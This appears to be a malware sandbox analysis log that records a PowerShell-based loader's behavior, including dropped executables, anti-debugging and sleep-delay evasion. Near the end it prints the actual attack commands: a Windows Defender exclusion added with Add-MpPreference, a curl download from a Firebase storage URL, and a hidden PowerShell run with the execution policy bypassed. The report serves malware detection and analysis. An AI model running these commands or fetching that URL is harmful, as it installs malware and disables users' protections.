Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9939	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9895	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9798	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9858	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Windows \System32\fodhelper.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\_kjfech8_V\_kjfech8_V.exe (copy)	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\_kjfech8_V\exe.txt	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\_kjfech8_V\MSVCR100.txt	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\_kjfech8_V\WebView2Loader.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\_kjfech8_V\WebView2Loader.txt	Jump to dropped file

Source: C:\_kjfech8_V\_kjfech8_Vi7.exe

API coverage: 0.2 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4080	Thread sleep count: 9939 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4004	Thread sleep count: 9895 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7088	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4384	Thread sleep count: 9858 > 30	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDCEFE1 _stat32,__doserrno,_errno,_invalid_parameter_noinfo,_mbspbrk,_errno,__doserrno,_mbctolower,_getdrive,FindFirstFileExA,_mbspbrk,strlen,GetDriveTypeA,free,free,_sopen_s,_fstat32,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,_dosmaperr,FindClose,	9_2_6FDCEFE1
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDD0F84 _wstat32i64,__doserrno,_errno,_invalid_parameter_noinfo,wcspbrk,_errno,__doserrno,towlower,_getdrive,FindFirstFileExW,wcspbrk,wcslen,GetDriveTypeW,free,free,_wsopen_s,_fstat32i64,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,_dosmaperr,FindClose,	9_2_6FDD0F84
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDD0B33 _wstat64,__doserrno,_errno,_invalid_parameter_noinfo,wcspbrk,_errno,__doserrno,towlower,_getdrive,FindFirstFileExW,wcspbrk,wcslen,GetDriveTypeW,free,free,_wsopen_s,_fstat64,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,_dosmaperr,FindClose,	9_2_6FDD0B33
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDCCA9B _malloc_crt,FindClose,FindFirstFileExW,FindNextFileW,FindClose,	9_2_6FDCCA9B
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDCC775 _malloc_crt,FindClose,FindFirstFileExA,FindNextFileA,FindClose,	9_2_6FDCC775
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDD0702 _wstat32,__doserrno,_errno,_invalid_parameter_noinfo,wcspbrk,_errno,__doserrno,towlower,_getdrive,FindFirstFileExW,wcspbrk,wcslen,GetDriveTypeW,free,free,_wsopen_s,_fstat32,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,_dosmaperr,FindClose,	9_2_6FDD0702
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDCDF35 _wfindfirst32,_errno,_invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_errno,_errno,_errno,wcscpy_s,_invoke_watson,_wfindnext32,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,FindNextFileW,GetLastError,_errno,_errno,_errno,wcscpy_s,_invoke_watson,_wfindfirst64,_errno,_invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_errno,_errno,_errno,wcscpy_s,_invoke_watson,_wfindnext64,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,FindNextFileW,GetLastError,_errno,_errno,_errno,wcscpy_s,_invoke_watson,_wfindfirst64i32,_errno,_invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_errno,_errno,_errno,wcscpy_s,_invoke_watson,_wfindnext64i32,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,FindNextFileW,GetLastError,_errno,_errno,_errno,wcscpy_s,_invoke_watson,_wfindfirst32i64,_errno,_invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_errno,_errno,_errno,wcscpy_s,_invoke_watson,_wfindnext32i64,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,FindNextFileW,GetLastError,_errno,_errno,_errno,wcscpy_s,_invoke_watson,	9_2_6FDCDF35
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDCFD86 _stat32i64,__doserrno,_errno,_invalid_parameter_noinfo,_mbspbrk,_errno,__doserrno,_mbctolower,_getdrive,FindFirstFileExA,_mbspbrk,strlen,GetDriveTypeA,free,free,_sopen_s,_fstat32i64,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,_dosmaperr,FindClose,	9_2_6FDCFD86
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FD97C6D _wstat64i32,wcspbrk,_getdrive,FindFirstFileExW,wcspbrk,wcslen,_errno,__doserrno,__doserrno,_errno,_invalid_parameter_noinfo,towlower,GetDriveTypeW,free,free,_wsopen_s,_fstat64i32,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,_dosmaperr,FindClose,	9_2_6FD97C6D
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDCDA38 _findfirst64i32,_errno,_invalid_parameter_noinfo,FindFirstFileExA,GetLastError,_errno,_errno,_errno,strcpy_s,_invoke_watson,_findnext64i32,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,FindNextFileA,GetLastError,_errno,_errno,_errno,strcpy_s,_invoke_watson,_findfirst32i64,_errno,_invalid_parameter_noinfo,FindFirstFileExA,GetLastError,_errno,_errno,_errno,strcpy_s,_invoke_watson,_findnext32i64,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,FindNextFileA,GetLastError,_errno,_errno,_errno,strcpy_s,_invoke_watson,_seterrormode,SetErrorMode,	9_2_6FDCDA38
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDCF8B5 _stat64i32,__doserrno,_errno,_invalid_parameter_noinfo,_mbspbrk,_errno,__doserrno,_mbctolower,_getdrive,FindFirstFileExA,_mbspbrk,strlen,GetDriveTypeA,free,free,_sopen_s,_fstat64i32,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,_dosmaperr,FindClose,	9_2_6FDCF8B5
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDCD4FF _findfirst32,_errno,_invalid_parameter_noinfo,FindFirstFileExA,GetLastError,_errno,_errno,_errno,strcpy_s,_invoke_watson,_findnext32,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,FindNextFileA,GetLastError,_errno,_errno,_errno,strcpy_s,_invoke_watson,_findfirst64,_errno,_invalid_parameter_noinfo,FindFirstFileExA,GetLastError,_errno,_errno,_errno,strcpy_s,_invoke_watson,_findnext64,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,FindNextFileA,GetLastError,_errno,_errno,_errno,strcpy_s,_invoke_watson,	9_2_6FDCD4FF
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDCF40B _stat64,__doserrno,_errno,_invalid_parameter_noinfo,_mbspbrk,_errno,__doserrno,_mbctolower,_getdrive,FindFirstFileExA,_mbspbrk,strlen,GetDriveTypeA,free,free,_sopen_s,_fstat64,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,_dosmaperr,FindClose,	9_2_6FDCF40B
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDCEFE1 _stat32,__doserrno,_errno,_invalid_parameter_noinfo,_mbspbrk,_errno,__doserrno,_mbctolower,_getdrive,FindFirstFileExA,_mbspbrk,strlen,GetDriveTypeA,free,free,_sopen_s,_fstat32,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,_dosmaperr,FindClose,	11_2_6FDCEFE1
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDD0F84 _wstat32i64,__doserrno,_errno,_invalid_parameter_noinfo,wcspbrk,_errno,__doserrno,towlower,_getdrive,FindFirstFileExW,wcspbrk,wcslen,GetDriveTypeW,free,free,_wsopen_s,_fstat32i64,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,_dosmaperr,FindClose,	11_2_6FDD0F84
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDD0B33 _wstat64,__doserrno,_errno,_invalid_parameter_noinfo,wcspbrk,_errno,__doserrno,towlower,_getdrive,FindFirstFileExW,wcspbrk,wcslen,GetDriveTypeW,free,free,_wsopen_s,_fstat64,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,_dosmaperr,FindClose,	11_2_6FDD0B33
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDCCA9B _malloc_crt,FindClose,FindFirstFileExW,FindNextFileW,FindClose,	11_2_6FDCCA9B
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDCC775 _malloc_crt,FindClose,FindFirstFileExA,FindNextFileA,FindClose,	11_2_6FDCC775
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDD0702 _wstat32,__doserrno,_errno,_invalid_parameter_noinfo,wcspbrk,_errno,__doserrno,towlower,_getdrive,FindFirstFileExW,wcspbrk,wcslen,GetDriveTypeW,free,free,_wsopen_s,_fstat32,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,_dosmaperr,FindClose,	11_2_6FDD0702
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDCDF35 _wfindfirst32,_errno,_invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_errno,_errno,_errno,wcscpy_s,_invoke_watson,_wfindnext32,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,FindNextFileW,GetLastError,_errno,_errno,_errno,wcscpy_s,_invoke_watson,_wfindfirst64,_errno,_invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_errno,_errno,_errno,wcscpy_s,_invoke_watson,_wfindnext64,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,FindNextFileW,GetLastError,_errno,_errno,_errno,wcscpy_s,_invoke_watson,_wfindfirst64i32,_errno,_invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_errno,_errno,_errno,wcscpy_s,_invoke_watson,_wfindnext64i32,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,FindNextFileW,GetLastError,_errno,_errno,_errno,wcscpy_s,_invoke_watson,_wfindfirst32i64,_errno,_invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_errno,_errno,_errno,wcscpy_s,_invoke_watson,_wfindnext32i64,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,FindNextFileW,GetLastError,_errno,_errno,_errno,wcscpy_s,_invoke_watson,	11_2_6FDCDF35
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDCFD86 _stat32i64,__doserrno,_errno,_invalid_parameter_noinfo,_mbspbrk,_errno,__doserrno,_mbctolower,_getdrive,FindFirstFileExA,_mbspbrk,strlen,GetDriveTypeA,free,free,_sopen_s,_fstat32i64,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,_dosmaperr,FindClose,	11_2_6FDCFD86
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FD97C6D _wstat64i32,wcspbrk,_getdrive,FindFirstFileExW,wcspbrk,wcslen,_errno,__doserrno,__doserrno,_errno,_invalid_parameter_noinfo,towlower,GetDriveTypeW,free,free,_wsopen_s,_fstat64i32,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,_dosmaperr,FindClose,	11_2_6FD97C6D
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDCDA38 _findfirst64i32,_errno,_invalid_parameter_noinfo,FindFirstFileExA,GetLastError,_errno,_errno,_errno,strcpy_s,_invoke_watson,_findnext64i32,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,FindNextFileA,GetLastError,_errno,_errno,_errno,strcpy_s,_invoke_watson,_findfirst32i64,_errno,_invalid_parameter_noinfo,FindFirstFileExA,GetLastError,_errno,_errno,_errno,strcpy_s,_invoke_watson,_findnext32i64,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,FindNextFileA,GetLastError,_errno,_errno,_errno,strcpy_s,_invoke_watson,_seterrormode,SetErrorMode,	11_2_6FDCDA38
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDCF8B5 _stat64i32,__doserrno,_errno,_invalid_parameter_noinfo,_mbspbrk,_errno,__doserrno,_mbctolower,_getdrive,FindFirstFileExA,_mbspbrk,strlen,GetDriveTypeA,free,free,_sopen_s,_fstat64i32,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,_dosmaperr,FindClose,	11_2_6FDCF8B5
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDCD4FF _findfirst32,_errno,_invalid_parameter_noinfo,FindFirstFileExA,GetLastError,_errno,_errno,_errno,strcpy_s,_invoke_watson,_findnext32,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,FindNextFileA,GetLastError,_errno,_errno,_errno,strcpy_s,_invoke_watson,_findfirst64,_errno,_invalid_parameter_noinfo,FindFirstFileExA,GetLastError,_errno,_errno,_errno,strcpy_s,_invoke_watson,_findnext64,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,FindNextFileA,GetLastError,_errno,_errno,_errno,strcpy_s,_invoke_watson,	11_2_6FDCD4FF
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDCF40B _stat64,__doserrno,_errno,_invalid_parameter_noinfo,_mbspbrk,_errno,__doserrno,_mbctolower,_getdrive,FindFirstFileExA,_mbspbrk,strlen,GetDriveTypeA,free,free,_sopen_s,_fstat64,_close,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,_dosmaperr,FindClose,	11_2_6FDCF40B

Source: C:\_kjfech8_V\_kjfech8_Vi7.exe

Code function: 9_2_6FDF6C74 _resetstkoflw,VirtualQuery,GetSystemInfo,GetModuleHandleW,GetProcAddress,VirtualAlloc,VirtualProtect,

9_2_6FDF6C74

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior

Source: powershell.exe, 00000004.00000002.30098453152.000001E7A28C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: <!-- IFRpbWUtU3RhbXAgUENBIDIwMTAwDQYJKoZIhvcNAQEFBQACBQDk2nlVMCIYDzIw -->
Source: curl.exe, 00000002.00000003.29379278870.000001AA88AA3000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000002.00000002.29379756087.000001AA88AA3000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000002.00000003.29379139326.000001AA88AA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Yara detected Powershell download and execute

Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Process queried: DebugPort			Jump to behavior
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Process queried: DebugPort			Jump to behavior

Source: C:\_kjfech8_V\_kjfech8_Vi7.exe

Code function: 11_2_00D01000 getenv,printf,printf,__argc,__argv,printf,__argc,GetCommandLineA,JLI_CmdToArgs,JLI_GetStdArgc,JLI_MemAlloc,JLI_GetStdArgs,LdrInitializeThunk,JLI_Launch,

11_2_00D01000

Source: C:\_kjfech8_V\_kjfech8_Vi7.exe

Code function: 9_2_00D017CE IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,

9_2_00D017CE

Source: C:\_kjfech8_V\_kjfech8_Vi7.exe

Code function: 9_2_6FDF6C74 VirtualProtect ?,-00000001,00000104,?

9_2_6FDF6C74

Source: C:\_kjfech8_V\_kjfech8_Vi7.exe

9_2_6FDFB67F

Source: C:\_kjfech8_V\_kjfech8_Vi7.exe

Code function: 9_2_6FDF9C3F GetProcessHeap,HeapAlloc,_errno,_errno,GetProcessHeap,HeapFree,__doserrno,_errno,_get_osfhandle,SetEndOfFile,_errno,__doserrno,GetLastError,

9_2_6FDF9C3F

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_00D017CE IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	9_2_00D017CE
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDFADFC _crt_debugger_hook,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,	9_2_6FDFADFC
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FD80807 __report_gsfailure,IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	9_2_6FD80807
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 9_2_6FDFC16F __report_gsfailure,IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	9_2_6FDFC16F
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_00D017CE IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	11_2_00D017CE
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDFADFC _crt_debugger_hook,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,	11_2_6FDFADFC
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FD80807 __report_gsfailure,IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	11_2_6FD80807
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Code function: 11_2_6FDFC16F __report_gsfailure,IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,	11_2_6FDFC16F

HIPS / PFW / Operating System Protection Evasion

Source: Yara match	File source: amsi64_6872.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_7380.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: curl.exe PID: 6132, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6872, type: MEMORYSTR
Source: Yara match	File source: C:\Users\Public\Documents\vs1.ps1, type: DROPPED

Adds a directory exclusion to Windows Defender

Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\_kjfech8_V"
Source: C:\_kjfech8_V\_kjfech8_Vi7.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\_kjfech8_V"			Jump to behavior

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\Documents\vs1.ps1"

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl "https://firebasestorage.googleapis.com/v0/b/antonidesil.appspot.com/o/at3?alt=media&token=0c52e418-0803-44a8-b1e0-254f44c155e2" -o "C:\Users\Public\Documents\vs1.ps1"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\Documents\vs1.ps1"	Jump to behavior
